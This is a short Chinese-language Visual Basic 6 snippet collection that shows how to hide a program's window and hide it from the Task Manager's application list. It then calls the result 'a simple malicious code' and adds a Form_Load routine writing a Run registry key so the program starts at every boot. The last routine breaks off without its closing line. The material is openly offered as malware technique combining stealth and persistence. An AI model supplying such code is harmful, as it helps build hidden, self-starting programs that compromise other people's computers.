第1种-关闭后到像迅雷一样隐藏 Private Sub Form_Queryunload(Cancel As Integer, unloadmode As Integer) Cancel = True Me.Hide End Sub _____________________________ 第2种-直接隐藏 Form1.Visible = False _____________________________
第3种-在任务管理器应用程序中隐藏 App.TaskVisible = False
_____________________________
于是就可以编写一个简单的恶意代码
Private Sub Form_Load
Set w = CreateObject("wscript.shell") w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" ; App.EXEName, App.Path ; "\" ; App.EXEName ; ".exe" '导入注册表,实现开机自动运行
